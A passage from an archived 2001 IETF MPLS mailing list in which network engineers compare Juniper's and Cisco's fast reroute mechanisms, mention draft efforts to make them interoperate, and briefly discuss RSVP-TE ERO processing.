	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlh02287;
	Fri, 5 Oct 2001 16:17:32 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlh08987
	for mpls-outgoing; Fri, 5 Oct 2001 16:16:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljlh08958
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 16:16:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljlg23777
	for <mpls@UU.NET>; Fri, 5 Oct 2001 16:14:19 GMT
Received: from imr1.ericy.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ericy.com [208.237.135.240])
	id QQljlg27649
	for <mpls@UU.NET>; Fri, 5 Oct 2001 16:14:32 GMT
Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122])
	by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f95GEHY18029
	for <mpls@UU.NET>; Fri, 5 Oct 2001 11:14:17 -0500 (CDT)
Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37])
	by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f95GEHm22414
	for <mpls@UU.NET>; Fri, 5 Oct 2001 11:14:17 -0500 (CDT)
Received: FROM eamrcnt750.exu.ericsson.se BY eamrcnt747.exu.ericsson.se ; Fri Oct 05 11:13:45 2001 -0500
Received: from eamrcnt746.exu.ericsson.se ([138.85.133.36]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id TYM8787M; Fri, 5 Oct 2001 11:13:45 -0500
Received: FROM cea.ericsson.se BY eamrcnt746.exu.ericsson.se ; Fri Oct 05 11:13:38 2001 -0500
Message-ID: <3BBDDC2F.3010704@cea.ericsson.se>
Date: Fri, 05 Oct 2001 13:13:35 -0300
From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Organization: Ericsson Argentina
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en,es-AR,es
MIME-Version: 1.0
To: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: Fast Reroute Interoperability
References: <Pine.SUN.3.96.1011005113023.14833A-100000@grex.cyberspace.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Juniper implemented draft-gan-fast-reroute-00.txt
while Cisco does something like draft-swallow-rsvp-bypass-label-01.txt

Basically, Juniper use new RSVP objects FAST_ROUTE and DETOUR to signal
and build up detours to skip next hop in each LSR on the LSP.

Cisco uses "standard" (draft-ietf-mpls-rsvp-lsp-tunnel-08.txt) RSVP
to signal that, by setting the "Local Protection desired" flag in the
SESSION_ATTRIBUTE object. Then each LSR on the LSP will use a manually
pre configured "backup tunnel" (nested label stack) to reach next hop
in the case of link failure.

Please correct me if I'm wrong.

Regards,
Gustavo

Hemant P. Kelkar wrote:

> Hi !
> Can somebody tell the differences between the fast reroute mechanisms
> provided by cisco
> and juniper ?
> 
> thanks,
> Hemant
> 
> 
> 
> Date: Fri, 05 Oct 2001 10:28:14 -0300
> From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
> To: mpls-ops@mplsrc.com, mpls@UU.NET
> Subject: Fast Reroute Interoperability
> Resent-Date: Fri, 5 Oct 2001 09:33:21 -0400
> Resent-From: mpls-ops@mplsrc.com
> 
> Hello,
> 
> In spite of the different way that Juniper and Cisco have taken
> to provide fast reroute protection, making them not interoperable,
> I'm wondering if there is any way to build a scheme were both can
> coexist in a MPLS fault protected network. A valid solution could
> consider nested tunnels and statically configured LSPs.
> In our particular case Cisco GSR builds up the core and Juniper the
> edge of the backbone.
> 
> Regards,
> Gustavo
> 
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml
> 
> 
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml
> 




From owner-mpls@UU.NET  Fri Oct  5 12:41:51 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26002
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 12:41:50 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljli10613;
	Fri, 5 Oct 2001 16:40:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljli10901
	for mpls-outgoing; Fri, 5 Oct 2001 16:40:07 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljli10896
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 16:40:03 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljli20331
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:39:35 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljli09206
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:39:47 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA16204 for <mpls@uu.net>; Fri, 5 Oct 2001 12:39:34 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA10902 for mpls@uu.net; Fri, 5 Oct 2001 12:39:34 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljky22108
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 14:13:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljky19471
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:13:06 GMT
Received: from fido.nc.rr.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQljky10166
	for <mpls@UU.NET>; Fri, 5 Oct 2001 14:13:19 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f95EFf306735;
	Fri, 5 Oct 2001 10:15:41 -0400
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Fri, 5 Oct 2001 10:15:41 -0400 (EDT)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
cc: <mpls-ops@mplsrc.com>, <mpls@UU.NET>
Subject: Re: Fast Reroute Interoperability
In-Reply-To: <3BBDB56E.9040103@cea.ericsson.se>
Message-ID: <Pine.LNX.4.33.0110051002560.1898-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Fri, 5 Oct 2001, Gustavo Bellotto (CEA) wrote:

> Hello,
>
> In spite of the different way that Juniper and Cisco have taken
> to provide fast reroute protection, making them not interoperable,
> I'm wondering if there is any way to build a scheme were both can
> coexist in a MPLS fault protected network. A valid solution could
> consider nested tunnels and statically configured LSPs.
> In our particular case Cisco GSR builds up the core and Juniper the
> edge of the backbone.
>
> Regards,
> Gustavo
>

This is true, and in the last meeting it was noted by the authors that
they think they can bring together a common draft.  That would be a good
thing as it would seem to meet one of the requirements in
draft-ietf-tewg-restore-hierarchy-00.txt.  This is the only approach to
restoration times in the 10s to 100s of ms.

Another approach that both do support is that of 1:1 Path LSPs where when
traffic is on a primary, and if that has problems, the traffic shifted
onto another pre-signalled LSPs (assuming that one is still ok).  This can
bring restoration times down significantly (maybe shave 5-10 seconds off
not having this), but there still are impacts at the head end routers as
they shift the traffic.  This approach satisfies another
restoration requirement in the above mentioned tewg document.

Jim



From owner-mpls@UU.NET  Fri Oct  5 12:44:10 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26084
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 12:44:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljli25710;
	Fri, 5 Oct 2001 16:43:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljli11172
	for mpls-outgoing; Fri, 5 Oct 2001 16:43:07 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljli11165
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 16:43:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljli25260
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:42:23 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljli14042
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:42:35 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA16510 for <mpls@uu.net>; Fri, 5 Oct 2001 12:42:22 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA11076 for mpls@uu.net; Fri, 5 Oct 2001 12:42:22 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljlh09466
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 16:23:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljlh01451
	for <mpls@UU.NET>; Fri, 5 Oct 2001 16:22:38 GMT
Received: from wwwserver.technicacorp.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: technicacorp.com [216.181.29.134])
	id QQljlh29514
	for <mpls@UU.NET>; Fri, 5 Oct 2001 16:22:51 GMT
Received: by technicacorp.com with Internet Mail Service (5.5.2448.0)
	id <SG90HTL9>; Fri, 5 Oct 2001 12:22:36 -0400
Message-ID: <7DACF0790AEDD21188020060089D07B0E37C5B@technicacorp.com>
From: Ron Fortner <rfortner@technicacorp.com>
To: "'Gustavo Bellotto (CEA)'" <gustavo.bellotto@cea.ericsson.se>,
        mpls-ops@mplsrc.com, mpls@UU.NET
Subject: RE: Fast Reroute Interoperability
Date: Fri, 5 Oct 2001 12:22:33 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Interesting concept but I worry about the complexity and scalability of such
a solution.  

-----Original Message-----
From: Gustavo Bellotto (CEA) [mailto:gustavo.bellotto@cea.ericsson.se]
Sent: Friday, October 05, 2001 9:28 AM
To: mpls-ops@mplsrc.com; mpls@UU.NET
Subject: Fast Reroute Interoperability


Hello,

In spite of the different way that Juniper and Cisco have taken
to provide fast reroute protection, making them not interoperable,
I'm wondering if there is any way to build a scheme were both can
coexist in a MPLS fault protected network. A valid solution could
consider nested tunnels and statically configured LSPs.
In our particular case Cisco GSR builds up the core and Juniper the
edge of the backbone.

Regards,
Gustavo

-------
The MPLS-OPS Mailing List
Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
Archive: http://www.mplsrc.com/mpls-ops_archive.shtml



From owner-mpls@UU.NET  Fri Oct  5 12:52:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26255
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 12:52:02 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlj09750;
	Fri, 5 Oct 2001 16:51:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlj12070
	for mpls-outgoing; Fri, 5 Oct 2001 16:50:48 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljlj12065
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 16:50:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljlj27976
	for <mpls@UU.NET>; Fri, 5 Oct 2001 16:49:38 GMT
Received: from merlot.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQljlj06580
	for <mpls@UU.NET>; Fri, 5 Oct 2001 16:49:30 GMT
Received: from juniper.net (panther.juniper.net [172.17.12.226])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f95GnG051720;
	Fri, 5 Oct 2001 09:49:16 -0700 (PDT)
	(envelope-from pingpan@juniper.net)
Message-ID: <3BBDE45F.BC23B47B@juniper.net>
Date: Fri, 05 Oct 2001 09:48:31 -0700
From: Ping Pan <pingpan@juniper.net>
X-Mailer: Mozilla 4.75 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
CC: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: Fast Reroute Interoperability
References: <3BBDB56E.9040103@cea.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Gustavo Bellotto (CEA)" wrote:
> 
> Hello,
> 
> In spite of the different way that Juniper and Cisco have taken
> to provide fast reroute protection, making them not interoperable,

Juniper and Cisco try to solve the same problem differently. Each scheme
has its own features. It's not an issue of "not interoperable". It's an
issue that they were designed and implemented separately. As discussed
in the last IETF, we are actively merging both drafts together in a way
that can benefit network operators to provide the best fast reroute
functionality that both drafts can offer.

> I'm wondering if there is any way to build a scheme were both can
> coexist in a MPLS fault protected network.

Yes.

> A valid solution could
> consider nested tunnels and statically configured LSPs.

No. You turn on the fast reroute function at the headend, and config the
router interfaces according to your needs (if necessary). Fast reroute
should work in the background for all LSP's.

Take care!

- Ping

> In our particular case Cisco GSR builds up the core and Juniper the
> edge of the backbone.
>
> Regards,
> Gustavo
> 
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml


From owner-mpls@UU.NET  Fri Oct  5 13:00:22 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26364
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 13:00:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlj11673;
	Fri, 5 Oct 2001 16:59:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlj12532
	for mpls-outgoing; Fri, 5 Oct 2001 16:59:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljlj12517
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 16:59:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljlj15322
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:56:34 GMT
Received: from merlot.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQljlj19103
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:56:27 GMT
Received: from juniper.net (panther.juniper.net [172.17.12.226])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f95GuA052006;
	Fri, 5 Oct 2001 09:56:10 -0700 (PDT)
	(envelope-from pingpan@juniper.net)
Message-ID: <3BBDE5FC.78611DDB@juniper.net>
Date: Fri, 05 Oct 2001 09:55:24 -0700
From: Ping Pan <pingpan@juniper.net>
X-Mailer: Mozilla 4.75 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Jim Boyle <jboyle@pdnets.com>
CC: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>,
        mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: Fast Reroute Interoperability
References: <Pine.LNX.4.33.0110051002560.1898-100000@fido>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Jim,

Jim Boyle wrote:
> 
> 
> This is true, and in the last meeting it was noted by the authors that
> they think they can bring together a common draft.  That would be a good
> thing as it would seem to meet one of the requirements in
> draft-ietf-tewg-restore-hierarchy-00.txt.  This is the only approach to
> restoration times in the 10s to 100s of ms.
> 

OK.

> Another approach that both do support is that of 1:1 Path LSPs where when
> traffic is on a primary, and if that has problems, the traffic shifted
> onto another pre-signalled LSPs (assuming that one is still ok).

Yes.

> This can
> bring restoration times down significantly (maybe shave 5-10 seconds off
> not having this), but there still are impacts at the head end routers as
> they shift the traffic.

As you mentioned above, there is an impact (ERO recomputation and LSP
setup delay) if the headend router has to setup a new LSP to repair the
failed one. If you have a "hot" standby LSP at the headend, the impact
will be very small.

Fast reroute is to protect the traffic that is already in the network.
When there is a link failure, the router will reroute the traffic, while
notifying the headend routers. Hopefully and eventually, headend routers
should switch the traffic to better LSP's.

Regards,

- Ping

>  This approach satisfies another
> restoration requirement in the above mentioned tewg document.
> 
> Jim


From owner-mpls@UU.NET  Fri Oct  5 13:50:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27300
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 13:50:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljln01454;
	Fri, 5 Oct 2001 17:50:14 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljln04944
	for mpls-outgoing; Fri, 5 Oct 2001 17:49:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljln04932
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 17:49:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljln21904
	for <mpls@uu.net>; Fri, 5 Oct 2001 17:48:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljln00149
	for <mpls@uu.net>; Fri, 5 Oct 2001 17:47:55 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA25661 for <mpls@uu.net>; Fri, 5 Oct 2001 13:48:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA14599 for mpls@uu.net; Fri, 5 Oct 2001 13:48:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljln04797
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 17:46:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljln14782
	for <mpls@UU.NET>; Fri, 5 Oct 2001 17:45:58 GMT
Received: from mailhost.avici.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.246.215.9])
	id QQljln24616
	for <mpls@UU.NET>; Fri, 5 Oct 2001 17:46:11 GMT
Received: from hcheok-pc (hcheok-pc.avici.com [10.2.22.251])
	by mailhost.avici.com (8.11.0/8.11.0) with ESMTP id f95Hjc409494;
	Fri, 5 Oct 2001 13:45:38 -0400 (EDT)
Message-Id: <4.2.0.58.20011005132724.00db2cd0@mailhost.avici.com>
X-Sender: hcheok@mailhost.avici.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 05 Oct 2001 13:45:32 -0400
To: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>,
        mpls-ops@mplsrc.com, mpls@UU.NET
From: Henry Cheok <hcheok@avici.com>
Subject: Re: Fast Reroute Interoperability
In-Reply-To: <3BBDDC2F.3010704@cea.ericsson.se>
References: <Pine.SUN.3.96.1011005113023.14833A-100000@grex.cyberspace.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

The effort in resolving the interop issues has been in place.
For the detail, please see the draft
http URL:draft-atlas-rsvp-local-protect-interop-01.txt

Regards,
Henry


At 01:13 PM 10/5/01 -0300, Gustavo Bellotto (CEA) wrote:
>Juniper implemented draft-gan-fast-reroute-00.txt
>while Cisco does something like draft-swallow-rsvp-bypass-label-01.txt
>
>Basically, Juniper use new RSVP objects FAST_ROUTE and DETOUR to signal
>and build up detours to skip next hop in each LSR on the LSP.
>
>Cisco uses "standard" (draft-ietf-mpls-rsvp-lsp-tunnel-08.txt) RSVP
>to signal that, by setting the "Local Protection desired" flag in the
>SESSION_ATTRIBUTE object. Then each LSR on the LSP will use a manually
>pre configured "backup tunnel" (nested label stack) to reach next hop
>in the case of link failure.
>
>Please correct me if I'm wrong.
>
>Regards,
>Gustavo
>
>Hemant P. Kelkar wrote:
>
>>Hi !
>>Can somebody tell the differences between the fast reroute mechanisms
>>provided by cisco
>>and juniper ?
>>thanks,
>>Hemant
>>
>>Date: Fri, 05 Oct 2001 10:28:14 -0300
>>From: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
>>To: mpls-ops@mplsrc.com, mpls@UU.NET
>>Subject: Fast Reroute Interoperability
>>Resent-Date: Fri, 5 Oct 2001 09:33:21 -0400
>>Resent-From: mpls-ops@mplsrc.com
>>Hello,
>>In spite of the different way that Juniper and Cisco have taken
>>to provide fast reroute protection, making them not interoperable,
>>I'm wondering if there is any way to build a scheme were both can
>>coexist in a MPLS fault protected network. A valid solution could
>>consider nested tunnels and statically configured LSPs.
>>In our particular case Cisco GSR builds up the core and Juniper the
>>edge of the backbone.
>>Regards,
>>Gustavo
>>-------
>>The MPLS-OPS Mailing List
>>Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>>Archive: http://www.mplsrc.com/mpls-ops_archive.shtml
>>
>>-------
>>The MPLS-OPS Mailing List
>>Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>>Archive: http://www.mplsrc.com/mpls-ops_archive.shtml
>
>
>-------
>The MPLS-OPS Mailing List
>Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>Archive: http://www.mplsrc.com/mpls-ops_archive.shtml



From owner-mpls@UU.NET  Fri Oct  5 13:56:24 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27378
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 13:56:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljln19140;
	Fri, 5 Oct 2001 17:56:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljln05337
	for mpls-outgoing; Fri, 5 Oct 2001 17:55:41 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljln05332
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 17:55:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljln12273
	for <mpls@uu.net>; Fri, 5 Oct 2001 17:54:45 GMT
Received: from web11402.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web11402.mail.yahoo.com [216.136.131.232])
	id QQljln09452
	for <mpls@uu.net>; Fri, 5 Oct 2001 17:54:57 GMT
Message-ID: <20011005175444.29965.qmail@web11402.mail.yahoo.com>
Received: from [63.251.106.30] by web11402.mail.yahoo.com via HTTP; Fri, 05 Oct 2001 10:54:44 PDT
Date: Fri, 5 Oct 2001 10:54:44 -0700 (PDT)
From: Vishal Mishra <vish2mish@yahoo.com>
Subject: Re: RSVP-TE ERO Processing
To: Khuzema Pithewan <KhuzemaP@netbrahma.com>
Cc: mpls@UU.NET
In-Reply-To: <3BB9AF30.FE37AC5B@netbrahma.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

ERO Processing is done only when the newly arrived ERObject is
different from the stored ERObject.

Vishal.

--- Khuzema Pithewan <KhuzemaP@netbrahma.com> wrote:
> Hi,
> 
> I have  few question related to ERO Processing...
> 
> 1. Does ERO Processing done each time when Intermediate node receives
> Path Refresh?
> 2. If Not, then what it should do, when there is a change in ERO
> object
> received in this Path Refresh than the ERO Object received in earlier
> Path Messages..
> 
> Thanks,
> Khuzema.


__________________________________________________
Do You Yahoo!?
NEW from Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month.
http://geocities.yahoo.com/ps/info1


From owner-mpls@UU.NET  Fri Oct  5 14:11:35 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27844
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 14:11:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlo07728;
	Fri, 5 Oct 2001 18:11:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlo24923
	for mpls-outgoing; Fri, 5 Oct 2001 18:10:52 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljlo24912
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 18:10:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljlo29279
	for <mpls@uu.net>; Fri, 5 Oct 2001 18:10:08 GMT
